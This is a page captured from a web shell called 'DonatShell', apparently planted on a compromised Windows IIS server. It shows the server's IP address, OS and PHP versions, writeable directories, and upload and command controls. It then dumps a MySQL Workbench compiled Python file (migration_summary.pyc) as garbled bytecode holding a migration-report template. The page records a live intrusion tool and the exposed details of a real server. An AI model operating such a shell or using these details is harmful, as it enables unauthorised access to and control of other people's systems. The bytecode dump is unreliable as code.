DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/MySQL/MySQL Workbench 6.1 CE/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files (x86)/MySQL/MySQL Workbench 6.1 CE/modules/migration_summary.pyc
ó
,¢2Sc@sXddlZddlZddlmZddlmZdZdefd„ƒYZdS(iÿÿÿÿN(t
WizardPage(tMiniTemplatesx
------------------------------------------------------------------------------------
MySQL Workbench Migration Wizard Report

Date: {{date}}
Source: {{sourceRdbmsName}} {{sourceRdbmsVersion}}
Target: {{targetRdbmsName}} {{targetRdbmsVersion}}
------------------------------------------------------------------------------------

I. Migration

1. Summary

Number of migrated schemas: {{#catalog.schemata}}
[[catalog.schemata]]
{{:#}}. {{name}}
Source Schema:   {{sourceName}}

- Tables:             {{#tables}}
- Triggers:           {{#triggers}}
- Views:              {{#views}}
- Stored Procedures:  {{#procedures}}
- Functions:          {{#functions}}
[[/catalog.schemata]]

2. Migration Issues
[[migrationLog]]  - {{refObject.name}}
    [[entries]][[?name]]{{entryType}}  {{name}}[[/name]][[/entries]]
[[/migrationLog]]

3. Object Creation Issues
[[creationLog]]  - {{refObject.name}}
    [[entries]][[?name]]{{entryType}}  {{name}}[[/name]][[/entries]]
[[/creationLog]]

4. Migration Details
[[catalog.schemata]][[tables]]
4.{{:#}}. [[?name]]Table {{owner.name}}.{{name}} ({{sourceName}})
[[?comment]]{{comment}}[[/comment]]
Columns:
[[columns]][[?name]]  - {{name}} {{formattedRawType}} {{flags}} {{defaultValue}}  [[?comment]]#{{comment}}[[/comment]]
[[!name]]column not migrated
[[/name]][[/columns]]
Foreign Keys:
[[foreignKeys]]  - {{name}} ([[columns]]{{name}}[[/columns]]) ON {{referencedTable.name}} ([[referencedColumns]]{{name}}[[/referencedColumns]])
[[/foreignKeys]]
Indices:
[[indices]]  - {{name}} ([[columns]]{{referencedColumn.name}}[[?if|columnLength > 0]]({{columnLength}})[[/if]][[?needsep]], [[/needsep]][[/columns]])
[[/indices]][[!name]]4.{{:#}} Table {{sourceName}} was not migrated
[[/name]]
[[/tables]][[/catalog.schemata]]
II. Data Copy

[[dataTransferLog]]  - {{logObject.name}}
    [[entries]]      [[?name]]{{entryType}}  {{name}}[[/name]]    [[/entries]]
[[/dataTransferLog]]

tFinalReportViewcBs5eZd„Zd„Zd„Zd„Zd„ZRS(cCsktj||dƒ|jj|ddƒtjtjƒ|_|jj	|jt
t
ƒ|jjdƒdS(NsMigration ReporttReporttFinish(
Rt__init__tmaintadd_wizard_pagetmformst
newTextBoxtVerticalScrollBart_reporttcontenttaddtTruetnext_buttontset_text(tselfR((sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pyRds
cCs'|r|jƒntj||ƒdS(N(tgenerate_migration_reportRtpage_activated(Rt	advancing((sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pyRos
cs
|jjj}|j}|j}d„‰‡fd†‰‡‡fd†‰‡‡‡fd†}d„}d„}ddl}i|jƒd6|jjj	j
d	6d
|jj|jj
|jjfd6|jjj	j
d6d
|jj|jj
|jjfd
6|jjd6|jjd6g|jD]'}t|jƒdkr$||ƒ^q$d6g|jD]'}t|jƒdkr\||ƒ^q\d6g|jD]'}t|jƒdkr”||ƒ^q”d6i|jd6|jd6g|jD]}	||	|ƒ^qãd6d6}
|
S(NcSs.x'|jD]}|j|kr
|jSq
WdS(N(tmigrationLogt	logObjectt	refObjecttNone(tobjecttstatetlog((sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pytfind_migrated_objectzsc
	sg}x-|jD]"}|j|kr|j}PqqWg}x-|jD]"}|j|krF|j}PqFqFWig|D]?}idddgtt|jdƒdƒd6|jd6^qvd6g|D]?}idddgtt|jdƒdƒd6|jd6^qÃd	6}|rÿxê|jD]Ü}t	||ƒ}t
|ƒttt
tfkr\|||<qt
|ƒtjkrÏ|jdtjtjfkr¦d
j|ƒ||<qøg|D]}	ˆ|	|ƒ^q­||<qt|tjƒrî|||<q|||<qWn|S(NtnotetwarningterroriittypetmessagetmigrationMessagestcreateMessagess, (RRtentriestcreationLogtmaxtmint	entryTypetnamet__grtmembers__tgetattrR tinttfloattstrtunicodetgrttListt__contenttype__tSTRINGtINTtjoint
isinstancetObject(
RRt
logEntriesRt
createEntriestetotmembertvtx(treportize_object(sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pyR?€s4		MP
)
csψ||ƒ}ˆ||ƒ}|ji|jd6|r\g|jD]}ˆ||ƒ^qAngd6|rŽg|jD]}ˆ||ƒ^qsngd6|rÀg|jD]}ˆ||ƒ^q¥ngd6ƒ|S(Nt
sourceNametcolumnstforeignKeystindices(tupdateR)RARBRC(ttableRtmigratedtobjtcolumntfktindex(RR?(sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pytreportize_tableŸs	
226c	s%ˆ||ƒ}ˆ||ƒ}|ji|jd6g|jD]}ˆ||ƒ^q;d6g|jD]%}|jD]}ˆ||ƒ^qnqad6g|jD]}ˆ||ƒ^q—d6g|jD]$}|jdkr½ˆ||ƒ^q½d6g|jD]$}|jdkròˆ||ƒ^qòd6ƒ|S(	NR@ttablesttriggerstviewstFUNCTIONt	functionst	PROCEDUREt
procedures(RDR)RLRMRNtroutinestroutineType(	tschemaRttschematschema_dataREttriggertviewtfunctsp(RRKR?(sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pytreportize_schemaªs	
&6&59c	Ss‹ii|jjd6d6i|jr/|jjndd6d6g|jD]?}idddgtt|jdƒd	ƒd
6|jd6^qDd6S(NR)RtRRRRiiR(R$(RR)RR$R&R'R((RR:((sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pyt
reportize_log·s#c	Sseii|jd6d6g|jD]?}idddgtt|jdƒdƒd6|jd6^qd	6S(
NR)RR]RRiiR(R$(R)R$R&R'R((RR:((sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pytreportize_transfer_log¾siÿÿÿÿtdatetsourceRdbmsNames%s.%s.%stsourceRdbmsVersionttargetRdbmsNamettargetRdbmsVersiontsourceServerttargetServeriR%RitdataTransferLogR@R)tschematatcatalog(RtplanRt
sourceCatalogt
targetCatalogttimetctimetsourceConnectiontdrivertownertcaptiontsourceDBVersiontmajorNumbertminorNumbert
releaseNumberttargetConnectionttargetDBVersionthostIdentifierR%tlenR$RRgR)Rh(RRtsource_catalogttarget_catalogR\R^R_RmR;RUtreport_data((RRKR?sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pytgenerate_report_dataus4			
		
&&

888

-cCs|jjƒdS(N(Rtclose(R((sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pytgo_nextÚscCsY|jƒ}yttƒj|ƒ}Wntk
rD}d|}nX|jj|ƒdS(NsError generating report: %s(R~Rt
text_templatetrendert	ExceptionRt	set_value(RR}treporttexc((sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pyRÞs(t__name__t
__module__RRR~R€R(((sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pyRcs
			e	(RR0tworkbench.uiRtworkbench.templateRRR(((sPC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\migration_summary.pyt<module>s
J

Anon7 - 2022
AnonSec Team